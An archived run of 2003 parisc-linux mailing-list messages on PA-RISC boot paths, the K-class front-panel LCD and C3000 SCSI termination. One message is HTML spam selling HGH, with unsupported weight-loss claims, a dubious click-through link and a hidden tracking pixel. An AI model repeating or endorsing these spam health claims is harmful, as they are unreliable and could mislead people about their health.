Xref: news.gmane.org gmane.linux.ports.parisc:18871

Hi,

> You are right, autosearch was off. However, setting is on does not help,
even
> after powering off the system.
> 
> BR,
> Dub
> 
> 
> 
> Configuration Menu: Enter command > bi
> 
> BOOT INFORMATION
> 
>    Processor         Boot ID
>    ---------         -------
>        0                  2  
>        1                  2  
> 
>    Autoboot:             ON
>    Autosearch:           ON
>    Fastboot:             OFF
> 
>    Primary boot path:    10/0.1   (dec)
>                          0a/0.1   (hex)
>    Alternate boot path:  10/8.1   (dec)
>                          0a/08.1   (hex)

iirc if you launch 'boot alt' and ask to boot 'without interact with ipl'
it boots fine? If yes, i don't see why it doen't work (sorry).
(may be try to switch boot disks to be sure that the behaviour will not follow
the disk?)

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Thu, 10 Jul 2003 10:06:17 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20030710160617.GA30482@dsl2.external.hp.com>
References: <1057826587.3f0d271b5b81a@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622578 27720 80.91.229.3 (22 Nov 2014 02:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mihails Nikitins <nikitins@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 10:06:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 53D40482B; Thu, 10 Jul 2003 10:06:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1057826587.3f0d271b5b81a@clients.latnet.lv>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18872

On Thu, Jul 10, 2003 at 11:43:07AM +0300, Mihails Nikitins wrote:
> > Woody Debian on my K-class does not show info on status LCD screen after linux
> > is started. How to configure this feature? LCD is working before OS is loaded,
> > then everything is black.
> 
> Anyway, is it possible to get it working?


Maybe. Depends on which gfx card you have driving the LCD.
Of the few people that do have K-class, I doubt many have a gfx port.

grant


From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Thu, 10 Jul 2003 10:12:43 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20030710161243.GB30482@dsl2.external.hp.com>
References: <20030709183423.GB1939@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0307101113410.6826-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622578 27721 80.91.229.3 (22 Nov 2014 02:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:18 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <jsoe0708@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 10:12:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B2FE9482B; Thu, 10 Jul 2003 10:12:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0307101113410.6826-100000@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18873

On Thu, Jul 10, 2003 at 11:18:34AM +0100, M. Grabert wrote:
> Yes, a (external) FW SCSI terminator and a (external) SE SCSI terminator
> at the (external) SE SCSI box.

"FW SCSI" == "FW Diff SCSI" ?

C3000 doesn't have FW Diff SCSI built-in.
Only 50-pin SE SCSI and 68-pin LVD/SE SCSI.
Remove the FW Diff terminator and run w/o a terminator rather than
the wrong one.

> I'm using the the 2.4 -kernel, and it says:
> 
> "The Zalon is an interface chip that sits between the PA-RISC
> processor and the NCR 53c720 SCSI controller on K-series PA-RISC
> boards (these are used, among other places, on some HP 780
> workstations).  Say Y here to make sure it gets initialized
> correctly before the Linux kernel tries to talk to the controller."
> 
> Well, since the C240/C3000 are 780-series machines, I wasn't so sure ...

C3000 is 9000/785 ...but the 2.5 help text is much clearer.

grant


From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Thu, 10 Jul 2003 17:29:49 +0100 (IST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0307101724300.8453-100000@sal.ucc.ie>
References: <20030710161243.GB30482@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622578 27726 80.91.229.3 (22 Nov 2014 02:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:18 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <jsoe0708@tiscali.be>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 10:29:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 012DE4882
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 10:29:56 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h6AGTo727435;
	Thu, 10 Jul 2003 17:29:50 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030710161243.GB30482@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18874

On Thu, 10 Jul 2003, Grant Grundler wrote:

> Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
>
> On Thu, Jul 10, 2003 at 11:18:34AM +0100, M. Grabert wrote:
> > Yes, a (external) FW SCSI terminator and a (external) SE SCSI terminator
> > at the (external) SE SCSI box.
>
> "FW SCSI" == "FW Diff SCSI" ?

FastWide SCSI. Fast-SCSI 40.
The PDC console reports the external box as (SE) SCSI, the other as FW SCSI.
That's the reason I call/report it this way.

> C3000 doesn't have FW Diff SCSI built-in.
> Only 50-pin SE SCSI and 68-pin LVD/SE SCSI.

As I said, there are 2 LVD SCSI drives installed internally.

> Remove the FW Diff terminator and run w/o a terminator rather than
> the wrong one.

I got the machine with 2 terminators, a SE SCSI and (obviously) a LVD SCSI.
I don't think it's a differential terminator.

> > I'm using the the 2.4 -kernel, and it says:
> >
> > "The Zalon is an interface chip that sits between the PA-RISC
> > processor and the NCR 53c720 SCSI controller on K-series PA-RISC
> > boards (these are used, among other places, on some HP 780
> > workstations).  Say Y here to make sure it gets initialized
> > correctly before the Linux kernel tries to talk to the controller."
> >
> > Well, since the C240/C3000 are 780-series machines, I wasn't so sure ...
>
> C3000 is 9000/785 ...but the 2.5 help text is much clearer.

Thanks, Max



From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Thu, 10 Jul 2003 21:20:34 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <200307102120.35215.deller@gmx.de>
References: <1057826587.3f0d271b5b81a@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="koi8-r"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622579 27730 80.91.229.3 (22 Nov 2014 02:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:19 +0000 (UTC)
To: Mihails Nikitins <nikitins@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 13:19:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D241B482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 13:19:54 -0600 (MDT)
Original-Received: (qmail 4496 invoked by uid 65534); 10 Jul 2003 19:19:43 -0000
Original-Received: from pD9040321.dip.t-dialin.net (EHLO p100) (217.4.3.33)
  by mail.gmx.net (mp016) with SMTP; 10 Jul 2003 21:19:43 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <1057826587.3f0d271b5b81a@clients.latnet.lv>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18875

On Thursday 10 July 2003 10:43, Mihails Nikitins wrote:
> > Woody Debian on my K-class does not show info on status LCD screen after
> > linux is started. How to configure this feature? LCD is working before OS
> > is loaded, then everything is black.
>
> Anyway, is it possible to get it working? I see that something is
> overwriting LCD diagnostic info while loading Linux.

Please send an output of /proc/cpuinfo. The Hardware-ID of your
system might be interesting to figure out, why it doesn't work.

Helge


From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Thu, 10 Jul 2003 21:23:40 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <200307102123.40780.deller@gmx.de>
References: <1057826587.3f0d271b5b81a@clients.latnet.lv> <20030710160617.GA30482@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622579 27734 80.91.229.3 (22 Nov 2014 02:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>,
	Mihails Nikitins <nikitins@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 13:22:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 415D2482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 13:22:49 -0600 (MDT)
Original-Received: (qmail 9244 invoked by uid 65534); 10 Jul 2003 19:22:48 -0000
Original-Received: from pD9040321.dip.t-dialin.net (EHLO linux.helgenet.de) (217.4.3.33)
  by mail.gmx.net (mp001) with SMTP; 10 Jul 2003 21:22:48 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <20030710160617.GA30482@dsl2.external.hp.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18876

On Thursday 10 July 2003 18:06, Grant Grundler wrote:
> On Thu, Jul 10, 2003 at 11:43:07AM +0300, Mihails Nikitins wrote:
> > > Woody Debian on my K-class does not show info on status LCD screen
> > > after linux is started. How to configure this feature? LCD is working
> > > before OS is loaded, then everything is black.
> >
> > Anyway, is it possible to get it working?
>
> Maybe. Depends on which gfx card you have driving the LCD.
> Of the few people that do have K-class, I doubt many have a gfx port.

I think Mihails talks about the small panel LCD display on the front of the chassis, 
which e.g. shows "Linux Version 2.5.xx" after boot. 
Or do I misunderstand something here ?

Helge


From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Thu, 10 Jul 2003 16:12:15 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <20030710221215.GA6200@dsl2.external.hp.com>
References: <1057826587.3f0d271b5b81a@clients.latnet.lv> <20030710160617.GA30482@dsl2.external.hp.com> <200307102123.40780.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622579 27736 80.91.229.3 (22 Nov 2014 02:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:19 +0000 (UTC)
Cc: Mihails Nikitins <nikitins@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 16:12:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8068A482B; Thu, 10 Jul 2003 16:12:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200307102123.40780.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18877

On Thu, Jul 10, 2003 at 09:23:40PM +0200, Helge Deller wrote:
> I think Mihails talks about the small panel LCD display on the
> front of the chassis, 

doh! yes, I think you are right.

grant


From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Thu, 10 Jul 2003 17:55:31 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20030710235531.GB6200@dsl2.external.hp.com>
References: <20030710161243.GB30482@dsl2.external.hp.com> <Pine.LNX.4.44.0307101724300.8453-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622580 27749 80.91.229.3 (22 Nov 2014 02:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 17:55:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 73AF2482C; Thu, 10 Jul 2003 17:55:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0307101724300.8453-100000@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18878

On Thu, Jul 10, 2003 at 05:29:49PM +0100, M. Grabert wrote:
> I got the machine with 2 terminators, a SE SCSI and (obviously) a LVD SCSI.
> I don't think it's a differential terminator.

Ok. Given the older 2.4.20 kernel with sym1 driver sees the
same issues, it stinks like a HW problem. And termination
was the most obvious starting point.

Try take the LVD drives out of the C3000 and re-seat them firmly.
It's also possible one of the LVD drives is dying.

And having zalon support enabled shouldn't be a problem.
It just won't get used on the C3000 since no zalon chips are present.

grant


From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sebastian Holt" <aypcwas@hotbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Free bottle Of HGH when you order today
Date: Thu, 10 Jul 03 20:49:22 GMT
Lines: 52
Approved: news@gmane.org
Message-ID: <r$0vx1ug$gz-6$l--n@81o.bhcy.s5s1>
Reply-To: "Sebastian Holt" <aypcwas@hotbox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="4_B_E63E98FE4"
X-Trace: ger.gmane.org 1416622580 27752 80.91.229.3 (22 Nov 2014 02:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:20 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 19:48:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54975482C
	for <parisc-linux@parisc-linux.org>; Thu, 10 Jul 2003 19:48:19 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [202.54.138.37])
	by cuprel1.hp.com (Postfix) with SMTP id 4E57A6F1
	for <parisc-linux@parisc-linux.org>; Thu, 10 Jul 2003 18:48:04 -0700 (PDT)
Original-Received: from (HELO mawj) [122.180.44.224] by 156.153.254.40 id 2fMFh9bdb01w; Thu, 10 Jul 2003 20:49:22 -0400
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18879

--4_B_E63E98FE4
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif">Would You =
Like to 
  Loose Weight Without Dieting or Exercise? </font></p>
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif">As Seen on=
 the Today 
  Show, H.G.H. Works!<br>
  <br>
  Get free Bottle! <a href=3D"http://www.netshockstudio.com/u2/bmo/m2c.php=
?man=3Dbjg49v">Click 
  Here</a></font></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<table width=3D"573" cellspacing=3D"0" cellpadding=3D"5"
border=3D"1"
bordercolor=3D"#000000"
style=3D"border-collapse:collapse" align=3D"center">
  <tr> 
    <td bgcolor=3D"#ffffff"> 
      <p><span style=3D"font-family:arial;
color:#666666; font-size:10px;">If you no longer wish to be notified of th=
e latest 
        scientific breakthroughs or valuable offers, you may simply choose=
 to 
        take yourself out of the database <img src=3D"http://znick.netfirm=
s.com/nfcounter?cid=3D1057600296&num_digits=3D8&font=3Dbc" width=3D1 heigh=
t=3D1>permanently 
        by <a
href=3D"http://www.netshockstudio.com/u2/bek/">choosing this link</a>.</sp=
an></p>
    </td>
  </tr>
</table>
<p>&nbsp; </p>
</body>
</html>

--4_B_E63E98FE4--



From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mihails Nikitins <nikitins@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Fri, 11 Jul 2003 09:52:20 +0300 (EEST)
Lines: 61
Approved: news@gmane.org
Message-ID: <1057906340.3f0e5ea4d6fcf@clients.latnet.lv>
References: <1057826587.3f0d271b5b81a@clients.latnet.lv> <20030710160617.GA30482@dsl2.external.hp.com> <200307102123.40780.deller@gmx.de> <20030710221215.GA6200@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622580 27756 80.91.229.3 (22 Nov 2014 02:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 00:52:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 85B50482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 00:52:22 -0600 (MDT)
Original-Received: (qmail 30088 invoked from network); 11 Jul 2003 06:52:21 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 11 Jul 2003 06:52:21 -0000
Original-Received: (qmail 2909 invoked by uid 33); 11 Jul 2003 06:52:20 -0000
In-Reply-To: <20030710221215.GA6200@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
